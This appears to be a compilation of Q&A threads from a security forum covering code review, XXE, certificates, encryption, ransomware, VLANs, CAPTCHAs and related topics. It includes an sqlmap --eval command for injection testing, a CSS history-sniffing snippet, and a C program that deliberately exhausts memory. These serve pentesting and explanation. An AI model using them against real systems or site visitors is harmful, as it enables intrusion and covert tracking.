Safe sharing source code with 3rd party for security review? I work at a small software company, and we are working with another company that wants to use our software. However, their InfoSec team want us to have a 3rd party source code review completed, with static and dynamic scanning pipelines created.

Is this a common practice where full, unrestricted access to  proprietary software source code is given to a 3rd party for the sake of security testing? It seems the opposite of secure when it comes to protecting your intellectual property.
What precautions, if any, should be taken when entering a source code review with a 3rd party?

NOTE: I'm not sure if this matters, but the 3rd party being considered for the security test is based in the US, but the employees doing the work are located in another country.

Is this a common practice where full, unrestricted access to proprietary software source code is given to a 3rd party for the sake of security testing?

I would say yes, but with a couple of footnotes.
It's common these days to expect a vendor to do SAST and DAST scanning of their products. In my experience, most 3rd party partners are happy to accept attestation that SAST and DAST testing is part of your routine software development lifecycle (SDLC), you address any Critical and High as part of each release. etc. This duty is typically performed either by developers or by an internal appsec team. If you don't have that as part of your internal SDLC process, then your only other option is to hire an outside company to do it as a one-off security assessment.
So IMHO intellectual property concerns is not a valid a reason for not doing security testing on your products; you have the option of buying the tools and doing the scans internally.

It seems the opposite of secure when it comes to protecting your intellectual property. What precautions, if any, should be taken when entering a source code review with a 3rd party?

Any professional security testing company will be used to working with their customers' intellectual property -- and heaven forbid they find a real vulnerability in your product or accidentally get their hands on data they shouldn't have during the course of their security testing. That's all normal for a security testing company.
Make sure you have a good Non-Disclosure Agreement (NDA) in place with them -- the sec company probably has an NDA template, have it reviewed by your own legal team.
Make sure the security testing contract lays out the scope of the security test (what they are and are not allowed to test, for example list IP addresses and ports that are in-scope and that the rest of your network is out of scope). You could also put in contract language about how to handle vulnerabilities or data that they discover.


What are steps to defend against XML External Entity (XXE) Processing vulnerability? Lately I've seen so many attacks of this type, so I wanted to ask what is the proper way to defend against XML External Entity (XXE) Processing vulnerability. For example what if I parse some simple xml in my app, how can I make it stronger so this attack or billion laughs doesn't work. Attack :

Also protection against these types of attacks http://josipfranjkovic.blogspot.com/2014/12/reading-local-files-from-facebooks.html ?

Have you done any research into this already? At the highest level, it is a matter of filtering and validating input and to not permit suspicious input (blacklist) or better yet set of processing rules that whitelists what you want. If the XML is not being built programmatically, you can just scan for any external references and create rules to handle/validate or just deny the file. Depending on your processing library, there may be some built in tools or options to address this.

Best place to start is probably at OWASP:

Testing for XML injection
XML External Entity (XXE) Processing

The following paper also goes into some more details in these types of attacks: XML Schema, DTD, and Entity Attacks


Obtaining an S/MIME certificate without disclosing my private key to the TTP I would like to obtain a trusted S/MIME certificate, but all the certificate authorities I have asked so far generate the keypair on their server, sign the certificate and send me both the private key and public signed certificate.

It seems to me that this unnecessarily exposes my private key to the Certificate Authority, and in the light of PRISM many others besides, I don't understand why they ever need see my private key.

Creating an untrusted certificate on my machine with openssl is not a problem.  Does anyone know of a Certification Authority who would sign an already created public key without ever having access to my private key?

I'm aware that an OpenPGP based solution would avoid this problem, but very few people and email programs use it.

It's not standard for a commericial CA to insist on making your private keys.  For reasons you mention.

Here's a link pointing to a collection of CA providers that suggests (and rightfully so) that the typical thing is for your browser to create the key pair and then send the Certificate signing request to the CA.  In my experience with high end Verisign Certificates, that is true.  I never tried the free/cheap solutions.

Keep in mind, even when the CA walks you through a browser based request, you may very well have the private key stored purely on the browser - CA companies spend a certain amount of effort on browser compatibility testing to make that possible.  Don't assume that the server is generating the key just because you are using a browser.  Unless it provides "key escrow" my experience has been that this is unlikely.

For the most part, my experience with CA companies has been that they REALLY don't want to take in errant form factors - if you want to send a homemade request for certificate siganture, you are likely to need to find a service that costs more... the reason is pure cost - there's usually a lot more hand holding involved in this approach as the ways to mess this up are numerous and a "generic" certificate request often has to be messed with to meet the security policy and settings required by the CA.

If you absolutely must generate certs with OpenSSL, I'd say look for server provisioning options that let you configure it to look like an S/MIME certificate.  Prepare to pay server cert costs.

If not, double check the process and verify that keys are generated on the browser.


SQL injection with an auto-incrementing parameter I'm currently performing an API Pentest and I suspect an SQLi in one of the API calls. It updates a certain item of the web-service and requires an increase of the version number for each request.

The request body is basically:

{"id":"1234","version":2,"name":"sqli-here*"}

The following request then needs to be:

{"id":"1234","version":3,"name":"sqli-here*"}

I could use mitmproxy with a script, to automatically increase the version - or manually script the SQLi.

Is there any way I can achieve this with SQLMap or Burp Pro?

You can use the --eval parameter of SQLMap, in theory:

-data='{"id": 1}' --eval "f = open('cnt.txt','r+'); id = int(f.readline()); f.seek(0,0); f.write(str(id+1)); f.close()"

See http://aetherlab.net/2014/07/advanced-sqlmap-features-eval/ for the full details - basically, SQLMap can modify JSON data, and run Python code. The Python code reads a file called cnt.txt (which you have to create manually), then uses the value in it to replace the ID variable, before incrementing the ID variable stored back in the file.


Does semi-sensitive information demand encryption / security? Since it's been requested that this question be rewritten:

Is SSL (or some other encryption equivalent) required in the below case? From a small local business website, is there any damage that an attacker can do with semi-sensitive customer information (e.g. the list of items below)?

Original:

I've started working on redesigning a client's website. They are a small business and their website has a very basic system setup. No one pays online, but items are reserved by filling out a form. As of now, this information is submitted without any security / encryption. The information includes:

name
phone number
address
email

That is about as sensitive as it gets, i.e., there is no credit card information, passwords, or anything like that.

Does this kind of information constitute some kind of security (e.g. SSL)? How sensitive does information need to be such that security is required? Is there an industry standard?

Reasons to use HTTPS:

Encryption:  As @mah's comment says, HTTPS traffic is difficult to read and / or change by a man-in-the-middle.

Verification of Identity:  An SSL certificate is proof to the user that the content being served is actually coming from the server it purports to be.

In other words, HTTPS not only encrypts the information but also tries to guarantee that the server that the user is talking to, is truly the server they think it is.  If your client's site is HTTP, a competitor or other party could fake the web site entirely so that the user is really talking to some other website and it is easy to imagine ways to abuse the customer of a company you don't like with a web site you control.  Man-in-the-middle is not even needed then.  To me, this is a good reason to use HTTPS in your case.

If the attacker tried this with against an HTTPS site, the browser should raise an alarm.  These days, those alarms are difficult for the web user to not notice.


Is there any Linux distro or kernel patch that wipes a process memory space after the process exits? An application runs on an embedded battery-powered PC, accessible to some restricted public, that stores secrets in RAM. To prevent cold boot attacks and that the PC is stolen to extract its secrets, it has temper-proof sensors. If tampering is detected, the application exists (but does not wipe all process memory before doing it). I cannot change this behavior.

Does the Linux kernel wipes the released process memory by default? Do any Linux distro do it? Is there a patch to do it?

By wiping I mean zero fill, or multiple-pass rewriting.

Linux zeroes out (i.e. fills with zeros) all pages of memory not when they are released, but when they are given to another process. Thus, no process may obtain data excerpts from another process. However, the pages will retain their old contents until they are reused. I am not aware of any patch which does the zeroing upon page release (Edit: as @user2313067 points out in his answer, the PaX patch offers this option, at a cost which may or may not be a problem on any given system); on a general basis, it would be detrimental to performance because it would fill caches with the zeros, evicting more "useful" data (and that's not counting swap space, which your embedded device probably lacks, but most Linux systems out there have swap).

You can force a sort-of wipeout of data by simply allocating every possible page from another process. Something like this:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int
main(void)
{
    for (;;) {
        void *x = malloc(2000);
        if (x == NULL) {
            break;
        }
        memset(x, 'T', 2000);
    }
    return 0;
}

If you run this program as root, then it grabs all available memory and fills it (in order to force actual allocation), exiting only when there is no memory left. Running as root is needed because the kernel reserves the last few pages to root.

Note that filling memory up triggers OOM conditions, at which point the kernel feels allowed to shoot processes in order to make some room. This happens only when there is no free page left, i.e. the state that you want to achieve (no free page left means that all old pages have been reallocated, and therefore zeroed out). It is a kind of suicide for the OS, because the OOM handling code may kill some essential processes (it tries not to, but hey, these are just heuristics). However, this seems appropriate in your case: if tampering is detected, the device has no choice except honourable disembowelment.

So you just have to launch your critical application in a wrapper (a simple script) which launches the above program when the critical application exits (presumably because of detected tampering).


Is it possible to track/save Google searches that were never submitted? When you start typing out a google search, it lists a bunch of options to autocomplete your search. This made me wonder how that autocomplete works. Is there a cache stored somewhere in the browser? That seems inefficient to me, so does it actually send a request to Google? If so, are these unfinished search requests stored or logged anywhere like typical searches?

As inefficient as it sounds, that's exactly how it works.

Head on over to google.com, bring up your developer tools in your browser (CTRL+SHIFT+I or CTRL+OPTION+I in Chrome), click the network tab, and then start typing in the search box. You'll see a series of GET requests to to the /complete/search url path, like this:

https://www.google.com/complete/search?client=psy-ab&q=he
https://www.google.com/complete/search?client=psy-ab&q=hel
https://www.google.com/complete/search?client=psy-ab&q=hell
https://www.google.com/complete/search?client=psy-ab&q=hello

You'll probably have a bunch of other query parameters in there, but the client identifier and the query are the two required ones. The return from that request contains the autocomplete list for the substring you typed.

This means that autocomplete queries follow the same storage rules as not-autocomplete queries; if you have a proxy or cache or whatever, they'd appear there.

There's a couple of special rules at play, though: since they're XHR queries sent in the background rather than queries you type into the URL bar, the browser doesn't put them in your navigation history. And (IIRC) Google only uses this feature if you're on TLS, so it won't ever send these queries over plain text. And finally, since Google knows that they're autocomplete requests instead of actual searches, they don't appear in your stored search history associated with your account.

In terms of efficiency, this is why Google is investing so much in protocols like SPDY and QUIC (variations of which are now being standardized as HTTP/2 and HTTP/3). These allow extremely low-overhead HTTP traffic, getting it down to as low as one UDP packet in each direction for one of these autocomplete requests.


What does the 'Sign' and "Add to recipients' means in GPG keychain? Hello everyone,

I just newly get to know the existence of GPG keychain. After error and try I now understand most of the functions of this software . However the two checkbox in this picture remains unclear.

What known is that, when 'Your Key' Filled, I can decrypt with the secrete key in 'Your Key' line. But what does the 'Sign' and 'Add to Recipients' Does ?

(This screenshot comes from file-encryption page

I will reply only to the Sign part. Not sure about the 2nd part.

Signature and encryption are not related. You can have the content uncencrypted+signed, or encrypted+signed.

A digital signature is an additional piece of information which confirms that the initial content is generated by the person who has the key, and thus that it has not been tampered with during its transfer to the recipient.  -- Much like a normal human signature on a document.

The "signer" generates a signature by hashing the initial content using the key he/she posseses. Then the content is sent accompanied with the signature. Each signature is unique, as it depends both on content and key. If the content is altered, the signature is not valid any more and has to be regenerated (using the key).

The receiver gets the content and the signature separately. Using his/her key, he/she rehashes the content and creates a signature. If the signature the receiver created is identical to the one the signer has sent, then the receiver is certain that the content has not been changed in the way. This is called signature validation.

If somebody intercepts the transmission and modifies the content (encrypted or not), then the signature validation will fail, because the interceptor cannot create a good signature, as he/she does not have any of the keys.


A ransomware locked my operative system on C. Are the other drives at risk? I think I have a ransomware avoiding me to access Windows, for each time I restart my PC Windows boots but no login window appears and I cannot perform any operation but selecting the power and the accessibility options, and even the network card seems to be disabled. This occurred for the first time after having enabled the safe mode and possibly detected a malware (I described the problem here).

The Windows OS which is no longer accessible is installed on C:\, whereas all data and most desktop applications are stored on D:\ (second internal drive), as well as Kali Linux, on dual boot; grub is installed on D:\ too.

I can still access them though: while booting from D:\ and using Kali Linux, I can still open the D:\ folder and do operations on data and media, and while booting live distros and rescue systems from USB stick I can access all the folders as well.

I didn't open the C:\ folder and I'm using the Unix-like environment (Kali Linux booted from D:). I wonder if it's sufficient to prevent my D:\ drive from being affected from the possible ransomware or if I should be more cautious and uninstall the D:\ drive from that PC as long as the threat is there.

My question:

Given that a ransomware affected Windows on the C:\ drive, might it affect data stored on the other drives as long as I use a different operative system or should I phisically separate them?

As explained in the comments, your problem doesn't sound like ransomware at all.

But if it were ransomware, you can not know if the files on other drives are save. There are countless of different flavors of ransomware out there which all have different strategies to find files worth encrypting. Some might search all available drives for files, some might only concentrate on known locations like C:\Users\. But you generally have to assume that any storage volume where the system has write permissions is a potential target.

Seeing that the files are still in the directories doesn't necessarily mean that they aren't encrypted. It is possible that the ransomware scrambles files without renaming them. You say you can "do operations" on them, but not what kind of "operations" you are talking about. Unless one of these "operations" is to open them with a viewer application and look at their content, you can't be sure the file is unharmed.


How does gpg decryption command know which key in a key ring to use I don't understand how gpg command could know which key in a key ring to use for decryption. For example, a key ring may have multiple keys. When an encrypted file needs to be decrypted, we only need to add the --homedir and --keyring to the pgp command line. But how does pgp know which particular key to ues in the key ring? Thanks in advance!

The PGP format has a header that lists the key ID. You can read this detail in RFC 2440 section 5.1.

  The body of this packet consists of:

  A one-octet number giving the version number of the packet type.
     The currently defined value for packet version is 3. An
     implementation should accept, but not generate a version of 2,
     which is equivalent to V3 in all other respects.
  An eight-octet number that gives the key ID of the public key
     that the session key is encrypted to.

This header can contain multiple recipient key ids.


Workarounds for :visited CSS History reconnaissance Several years ago it was possible to use

a:visited {
   background: url('/log.php');
}

to figure out on what website user has been previously. But now it is restricted by browsers. Is there any other way to know which websites user have been recently?

It is still possible.  However, it is much harder to do unobtrusively now.  See the following research paper for details of how to do it:

I Still Know What You Visited Last Summer: Leaking browsing history via user interaction and side channel attacks, Zack Weinberg, Eric Chen, Pavithra Ramesh Jayaraman, and Collin Jackson, IEEE Security and Privacy Symposium 2011.

Please do not use this to spy on visitors to your web site without their consent.  That has the potential to be a bad business move.

We've been through this before.  The last time some web sites tried using CSS history sniffing, they eventually got caught.  The fact that they were using history sniffing got into the news, and caught the attention of the FTC and many others.  Lawsuits were filed, and investigations were opened.  So I think we have solid evidence that if you history-sniff your visitors, you are asking for trouble.  For more information on this, see the following sources:

NAI To Probe Epic Marketplace's 'History-Sniffing' Techniques.
Suit to Snuff Out 'History Sniffing' Takes Aim at Tracking Web Users.  Note the quote from the FTC official.  It's not good when the FTC is willing to make a public statement expressing concerns over your business practices.
The FTC Promises an End to History Sniffing (Microsoft, Take Note).
Browser History Sniffing in the News.  Excerpt: "Clearly, companies know it’s a bad practice to sniff browser history. In fact, it’s probably illegal too."
History Sniffing
The research paper that kicked off all of this: An Empirical Study of Privacy-Violating Information Flows in JavaScript Web Applications, Dongseok Jang, Ranjit Jhala, Sorin Lerner, and Hovav Shacham, ACM CCS 2010.


Why do mobile apps have fine-grained permissions while desktop apps don't? Androids apps use fine-grained permissions for security reasons, iOS apps (afaik) do it as well. Windows 8.1 applications don't have a permission schema like that, all Linux versions which I have tried so far don't have it either and I guess Mac OS X also doesn't have it, right?

Why are these fine-grained permissions considered necessary on a mobile device, but not on a desktop system? Do users trust apps on a mobile device less than on a desktop system?

Will Windows 10 or newer Linux and Mac OS versions have them?

PS: it seems that some people consider this to be a possible duplicate to Why are apps for mobile devices more restrictive than for desktop? - but both questions differ at least in the point of view (developer/user). And if you read the answer, you will also see that most SO users consider both questions as beeing different :-)

There are two main reasons why smartphones have fine-grained permissions while desktop computers don't.

History.  Mainframe operating systems have a tradition of giving permissions to the user rather than to the program, and this carried over into minicomputers/workstations/desktops; the desire to maintain compatibility with existing programs limits the ability to change things.  Smartphones are a clean break with existing application ecosystems, so the opportunity existed to change the permissions model.
Smartphones are far more homogeneous than desktops, and generally don't change their hardware configuration over time.  This makes setting up the permissions system far easier.

That said, there are fine-grained permission systems for desktop operating systems.  Linux, for example, has AppArmor, SELinux, Bitfrost, and probably others.


TLS Bicycle Attack - What cipher is free from flaws to use? Recently a novel attack on TLS stream ciphers was developed by Guido Vranken, dubbed Bicycle and referenced in this Websense's blog post.

It was based on a characteristic of stream ciphers that says that there is a 1:1 relation between plaintext length and ciphertext length (although they may not be the same), allowing an attacker to correlate some known data from the request and discover the length of the fields (password length, for example). If you know that the user has an 8-char passphrase, you will cut a lot of work out of the bruteforcing, coming up with a dictionary that will get you in after a few hours.

The full explanation is in the PDF hosted in the first blog post linked above, for those that care to understand how it really works.

Basically it affects all stream ciphers, notedly Galois Counter Mode (GCM), mainly used with TLS 1.2 for being part of the AEAD cipher suites. A quick search of the other AEAD ciphers shows that they are also stream ciphers, therefore also being vulnerable to this issue. Or are they not all affected?

So the question is, which cipher can be used? Block ciphers are not affected by this particular problem, but most of them have issues of their own, making this a question of "pick your poison" instead of bringing the antidote. Does anyone here know of a known cipher (recommended by NIST) that could be used with TLS 1.2 that does not bring its own flaws into the equation?

The PDF of the article begins with:

  It is usually assumed that HTTP traffic encapsulated in TLS doesn't reveal the exact sizes of its parts

This is not what I would have said. Rather, let's say that it is usually assumed by people who do not know better. TLS is encryption and encryption is good at hiding data contents, not data length. This is not exactly novel. However, it is true that the idea that TLS "hides everything" is still widespread (it is wrong, has always been, but education is slow, especially when people don't want to be educated).

Some people have argued that CBC-based cipher suites imply a padding that might somehow hide the fine details of the encrypted data length, since the length is padded to a multiple of the block size. This "hiding effect" does not really hold in practice, so it is saner to assume that no cipher suite will help you hide the length of the data you are sending.

If you really want to hide, say, the length of a user's password, then you must do it properly, by making the sender pad it to a fixed length before sending it (this can be done in a few lines of Javascript). However, consider that the length will still leak in many places; notoriously, the length will impact processing time on both the client and server, and this can be detected (at least, that kind of side-channel leakage was demonstrated in lab conditions). Also, when the user types his password, any attacker within earshot can simply count the strokes and obtain the same information (practically, by recording the noise with his smartphone and playing it later on at low speed -- the attacker may even get information on the actual letters because they make distinct noises in a typical keyboard).

A realistic answer would be to point out that if leaking the password length allows breaking it, then this is a poor password to begin with, and you should probably fix that. The length is only a small part of the issue, which is that bad passwords are bad.


What is the future of CAPTCHA? According to this article  this guy has made a simple AI to beat CAPTCHA. With the development of AI, robots will pass the Turing test, and bots will beat Google's reCAPTCHA, maybe already there are robots that can beat all captchas, so, what will be the future of captcha? Any ideas?

According to this article this guy has made a simple ai to beat CAPTCHA.

Those are old CAPTCHA algorithms. Newer ones are harder.

  With the development of AI, robots will pass the Turing test

That's pure speculation. Personally, I don't think we're even close.

  maybe already there are robots that can beat all captchas

Except there aren't.

  what will be the future of captcha?

Let's assume that computers will be able to pass the Turing test at some indeterminate time in the future. At that time, a computer will also be able to tell spam apart from quality content, as humans can. This obviates the need for CAPTCHAs.


What to do to increase a custom authentication cookie's security? I'm designing a cookie for authentication purposes. In case of success, this will go into an application.

Here are the things I've included in this cookie:

It's for web of course
It includes some data about the authenticated user, for performance purposes (UserId is the least data)
It includes a salt (extra data) that is only known to the server, to prevent cookie-forgery attacks
The whole cookie's value is encrypted via AES
It appends a token from client data for the purpose of preventing cookie-hijacking (client IP is not included because of each network change, another login would become mandatory). In fact, it only includes UserAgent header
It's HttpOnly, to prevent from XSS attacks gaining access to cookie (yet still vulnerable to CSRF)
It's expiration is set to one month, because of better UX (people don't like to always login after closing the browser)

We've done this till here, and tested and it works just fine. What possible attacks are still possible via this design and how can we make it more secure?

Use the SameSite flag to prevent CSRF attacks.
Use cookie prefixes to prevent cookie clobbering.
Use a HMAC to prevent cookie tampering. You say you have prevented this using a salt. It is unclear what this means, and if it is not a HMAC it is probably not the correct way to prevent tampering by the client.


Is it helpful to have a captcha on a login screen? I introduced recaptcha to the login screen of a system.

My goal was all about security things like dictionary/bots attacks or other thing of that type.

The users now hate it, Some did not even understand it  and I had to remove it.

When I look around, I don't see many systems with that on the login screen, most of the times on other forms like contact us or sometimes like in stack exchange when you want to post.

It made me wonder is it a good idea to have it on the login screen?

The way I've seen some large systems do it is to only require a captcha after sequential failed login attempts (ie: reset the count after a valid login).  If you are worried about automated cracking, you could put the captcha at some high number of failures like 20, 50, 100 failed attempts.  Almost no legitimate user will see the captcha, but an automated attack will get hit by it.

Is it worth it to add this complexity?  Security and UX are trade-offs.  You need to find the correct trade-off for your risk profile.


Contactless session on ATM? I'm currently reading about an access control and saw something interesting about smartcard contact & contactless.

From what I understood from the book, smartcard contact is like an ATM Card.  Then smartcard contactless is like RFID, which is used for door access at a lot of companies.

I was just wondering, is that possible to implement RFID on ATM?

Conventional ATM Machine workflow:

insert the ATM card
enter the PIN
make your transaction
finish transaction
exit and card comes out

RFID ATM Machine workflow:

put the card close to the reader
enter the PIN
make your transaction
finish transaction and exit
put your card near the reader once again to finish transaction session.

First, a note on terminology. Usually:

RFID is communication between a passive tag (no power source, acts as a simple memory, without any communication) and a reader. Communication is one-way: the RFID tag has no way to receive information.
A contactless smartcard has a credit card form factor and can perform computation (it has a CPU, and its memory is accessed by that CPU, not by the external reader like in the case of an RFID tag). It does not have a power source: the CPU can only work while it is powered by a contactless reader through induction.
NFC is bidirectional communication using the same principles as RFID. NFC can work between two powered devices (e.g. a smartphone and a reader in another form factor, or two smartphones) or between a powered device (smartphone, reader) and an unpowered device (a tag (which is only a memory) or a contactless smartcard (which has a CPU)).

This terminology is not always used consistently: NFC tags are sometimes called RFID, for example. There are rewritable tags, which don't contain a CPU but which the reader can overwrite; these are sometimes called RFID tags, sometimes NFC tags.

An ATM card is a contactless smartcard, not an RFID tag nor an NFC device. A contactless smartcard is able to provide security because it contains a memory that cannot be read externally.

Now onto your question. It is certainly possible to perform a transaction with a contactless smartcard using the workflow you describe: first the card identifies itself, then the ATM queries the user for the transaction to perform and possibly validates it against a server, and at the end the ATM performs the transaction if the card is willing.

I don't know if there are ATMs that operate like that, but there are other types of machines that do. For example, to recharge a Paris transport pass, you put your card onto a reader tray (the round purple thing below the screen in the picture below), where it's kept in place, but you can take it off at any time, and the card can be in a wallet or other holder. Normally the card stays on the tray for the duration of the session; I think it does follow the two-phase system outlined above (first read the card information, then interact with the user, then upload the outcome of the transaction to the card).

I remember seeing other transport pass machines where the interaction is closer to what your envision, with an initial swipe and a final swipe. The tray method allows longer interactions, which may be required when the card has to perform costly actions such as a signature, as well as continuous interactions, for example to validate a PIN or some transaction details.

Compared with the contact method, there is a practical usability advantage to the contactless method: the card doesn't have to be a card form factor, you can keep it inside a holder or in your wallet or handbag. In fact, the card doesn't have to be a card at all: the reader can also interact with an NFC-able phone that's emulating a card. I don't think double swipe has a usability advantage compared to a tray, but it may allow the machine to be smaller.

US ATMs operating off the magnetic stripe treat the credit/debit card as a simple memory: you insert the card once at the beginning of the transaction, and that's it. If an ATM is designed to follow the same procedure then a single, initial swipe would be sufficient. However smart cards allow more security than a simple memory since they can do things like generate one-time tokens (e.g. a signature for a given transaction) or validate a PIN and self-destruct after 3 attempts. This requires the card to be available at more times during the transaction.

European ATMs (designed for chip cards) swallow the card and release it at the end of the session. There are security benefits to this. This allows the card to remain swallowed if the user mistypes their PIN three times or if the card has been reported stolen. This also allows the ATM to verify the card form factor, which is the antithesis of contactless; the advantage of insisting on the form factor is that this makes it harder to fool the ATM into believing that the card is present. Relay shims that can be inserted into an ATM do exist but they took a few years to design. Thieves have an advantage if they don't need to bring the actual card to the ATM and can instead use a communication relay: they can use the card very quickly before it's reported stolen (maybe even without the owner noticing); and they can make themselves harder to trace and prosecute since the card thief may be in a different country from the ATM.

The upshot is that contactless ATM transactions are possible. The security afforded is intermediate between what you can achieve with a magnetic stripe and what contact chip card ATMs do. I don't know if there are contactless ATMs yet; the technology is pretty new, on a time scale for banking technology.


Why should I have secure passwords for sites that I pay bills on? What's the worst that can happen, the hackers will pay my bills for me?

Assume that this isn't a malicious hacker out to disconnect my electricity. What kind of concerns are there for my finances, property, and personal data?

The most significant potential risk that I see is that profile information on these sorts of sites could potentially be quite useful for pivoting into identity theft.  If there is stored financial information visible (like the last four digits of your credit card number, for instance) this has been shown to be useful in helping attackers own additional accounts you have elsewhere that they want, but don't have credentials for.

Beyond that, it's hard to say what someone might do, but the risk is probably low, and you'll have to gauge for yourself whether it's acceptable or not.


How do vlans improve security? From my understanding vlans create separate networks. If that is the case can you simply add routes manually and access those other networks?

Basically, I've always been under the impression that vlans were designed for seperating networks to keep them isolated and secure from more public access.

VLANs allow the logical division of a physical device into multiple logical devices.  If you are not connected to both VLANs in some fashion, then adding routes locally doesn't change anything since your routes would still need to point at another router or gateway device.  On most VLANs, the only router/gateway device is already the configured as the default route/gateway on your system.

It is the router/gateway that makes decisions on what to route between VLANs/subnets.  At this point, access can be controlled on what resources and types of traffic are allowed in and/or out of the VLAN.

VLANs can help to improve security in a number of ways, but they are not security all by themselves.  There are also exploits that can allow VLAN hopping if your network is not configured correctly.

Here are a couple non-exhaustive ways that VLANs can be used to improve security:

They limit the scope of where broadcast traffic or flooded unicast traffic is transmitted. If Host A is not on the same VLAN as Host B, it will not see any information that Host B may broadcast.
You can create VLANs with no gateway at all, which limits a device to access only other devices in that VLAN.  It also prevents access to those devices from outside the VLAN.


Which of these ports are safe to leave open, which are not? I just ran nMap against my IP address and got the following result:

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
80/tcp   open  http
443/tcp  open  https
3389/tcp open  ms-term-serv

Which of these are ok to have open, which aren't? If I close 80 and 443 will this afftect my ability to browse the net? Will closing 21 affect my ability to connect to FTP sites etc etc or does closing a port only affect inbound connections?

Thanks

Assuming you scanned from outside your network, nmap is showing you what you're listening on.  It only affects inbound.  You can close the ports.


Antivirus monitoring activity: why do they not have an internal firewall to prevent processes' access to user's documents? A question that arises after an updated and licensed version of Norton Internet Security has detected a trojan installed in my new laptop (Windows 7 installed on 26 Aug'15 and fully updated).

Trojan location: specifically at C:\Program Files (x86)\OLBPre . With one shortcut at my desktop named "MyPC Backup" (an utility that, although I erased from the Start Menu/startup folder, has been opening inviting me to register and do a backup of my files; evidently I never accepted, since I did not installed such a program. Unfortunately I do not remember the first time this window popped up).

Here is the icon of the shortcut destined to the trojan OLBPre.exe (sanitized by Norton; the shortcut remained as a curiosity of my own... now deleted)

Date of Detection: 1 Sep'15 at 6:27 pm.

More Dates Data: I installed Norton on 29 Aug'15 at 12:40 pm. The mentioned folder with the trojan has files created on 29 Aug'15 at 12:55 pm. The other programs I had installed before the trojan's date where: Ares on 29 Aug at 11:12 pm, a licensed Nero Burning ROM on 28 Aug (previous day) at 2:58 pm, Oracle VirtualBox on 28 Aug at 12:43 pm. Programs installed just after that time: licensed PowerISO on 29 Aug at 4:57 pm, Daemon Tools Lite on 29 Aug at 5:31 pm, WinRAR on 30 Aug 1:22 am, and qBittorrent on 30 Aug at 12:11 pm.

Summary of Norton History: on 30 Aug'15 from 2:47 to 2:51 am, Norton blocked 72 times the program C:\Windows\System32\svchost.exe when it tried to access DataDefinitions at Norton's install folder. It seems a very clear activity of a trojan, doesn't it?

NOTE: svchost.exe, according Windows page is a special Win process supposedly hosting Windows services, such as Windows Defender.

Main question: Do antiviruses have any chance to agree with Microsoft Corporation a system to detect abnormal activity?

For example, let's say that is not normal that some processes are navigating through user's folders, listing all the directories, opening text files seeking for information, etc... Or let's say that some programs would need to download an update, but not to upload files greater than some few hundreds of KB, or copy/upload user's files placed at My Documents.

Other Question 1: How is it possible that this program with the trojan, MyPC Backup, was installed in my computer just after Norton Installation and that it has been, precisely Norton what finally detected it as a trojan? Am I missing something? Is there anyone that knows if "MyPC Backup" is offered through an installation wizard of another program?

Other Question 2: If there was abnormal activity of a process trying to access Norton's definitions (svchost.exe), and Norton detected it, why Norton did not warn me or feed this information back to Norton's Central for further analysis?

Other Question 3: If this program, MyPC Backup, has been starting on my user's logon, and therefore being executed, why Norton did not detect this executable as a trojan before? It might be a Norton's background scanning what has detected it. It means that Norton does not scan folder files by priority, doesn't? for example, scanning the source folder of an executable already running and closer folders to it. I do not understand why Norton did not do this check... Should it?

Other Question 4: Let's suppose I have installed it by some error, and that I did it specifically at the date shown at 'MyPC Backup installation folder' (let's suppose the date is right, not faked by the trojan).  If Norton has the FileInsight function, and it does not allow you to execute any file without showing you the "Norton Community" insight of that file, why I was not warned by Norton of any danger on 29 and 30 of August?

If anyone found out any solution to be really free of malware, please, share...

NOTE: To discard options, I also have installed a licensed antilogger (since the beginning).

More Dates Data ... svchost.exe when it tried to access DataDefinitions at Norton's install folder. It seems a very clear activity of a trojan, doesn't it?

svchost is a process which is used for lots of different things. So it might be an infection or it might be not. And it is not even clear that the infection happened only after Norton got installed. The system might have been infected before. Once you have an infection on the system you cannot be sure how it behaves any more, that is even an antivirus installed after the infection might be fooled by the malware.

  Do antiviruses have any chance to agree with Microsoft Corporation a system to detect abnormal activity?

To detect abnormal activity you first have to define what normal activity is for each of the applications you have and each one you download. Then of course you would have to read this description for each of the applications you install and you fully have to understand what it means. And only after you accepted what the application can do it should be installed.

Because this can probably not expected from the common users systems like Android have some kind of manifest which shows the kind of information an application likes to access. Even though that is much simpler than what would be needed to classify abnormal behavior it still is too complex for lots of users so they simply grant all rights to some random application.

Apart from that you would probably grant access to all files to a Backup application since that is what such kind of application needs - otherwise no backup and restore would be possible.

  How is it possible that this program with the trojan, MyPC Backup, was installed in my computer just after Norton Installation and that it has been, precisely Norton what finally detected it as a trojan?

Malware is changing fast and antivirus solutions only play catch-up. Thus it might miss one thing today and find it tomorrow after the malware was seen in the wild and antivirus signatures got updated after that. You can be lucky that it got detected at all, even after infection.

  If there was abnormal activity of a process trying to access Norton's definitions (svchost.exe), ...

Again, it is hard to know what abnormal means for some random application the user decided to download.

Also all the other question you have repeat the same thing: you expect some antivirus to be aware of any current and future dangers and you expect it to know what a normal behavior of any random application is. These expectations can not be fulfilled since malware gets tested against the antivirus solutions by the authors of the malware and they tune the malware long enough so that they bypass these protections. The antivirus vendors then tune their solutions again for better protection, but only after they've detected the new malware - which usually means that lots of users already got infected.

If you install any kind of software you should not believe the advertised behavior. This is true for some free software downloads which often gets bundled with adware or even malware. But this is also true for antivirus where the vendor claims full protection. This is a promise which can not be fulfilled.


How does CVE-2013-4287 make Rubygems any more vulnerable? I've recently heard about CVE-2013-4287, which can cause denial of service due to CPU consumption.

But earlier this year, I attended Hacking with Gems which showed all kinds of weird and wonderful things a hacker could do with a malicious gem.

If a malicious author could easily make a variety of exploits, why would they bother just with creating excessive CPU consumption?

You'd have to ask them, but most likely it's because the simplest and quickest way to demonstrate that the bug was somehow exploitable was the excessive CPU thing. Gets the point across without much work for the programmer.


Can people hack your iPhone Via Bluetooth if you leave it on? I live in an apartment complex with lots of people, and oftentimes I would be able to see Bluetooth devices that do not belong to me on my iPhone or MacBook when I search for my Bluetooth device.

Does Apple tell you/ask by default before someone with a Bluetooth device tries to connect to your phone via Bluetooth? Or is this a potential security vulnerability to leave your iPhone Bluetooth on at all times? (I do since I use AirPods)

I don’t remember setting or seeing any options to set Bluetooth permission on my iPhone, which makes me nervous.

Think about it. Your iPhone cannot know which Bluetooth devices you own. Therefore it displays all devices it can see. That is perfectly normal. But there will only be a connection if you, personally, connect to that device. So your neighbour cannot connect his device to your phone without you knowingly doing it.


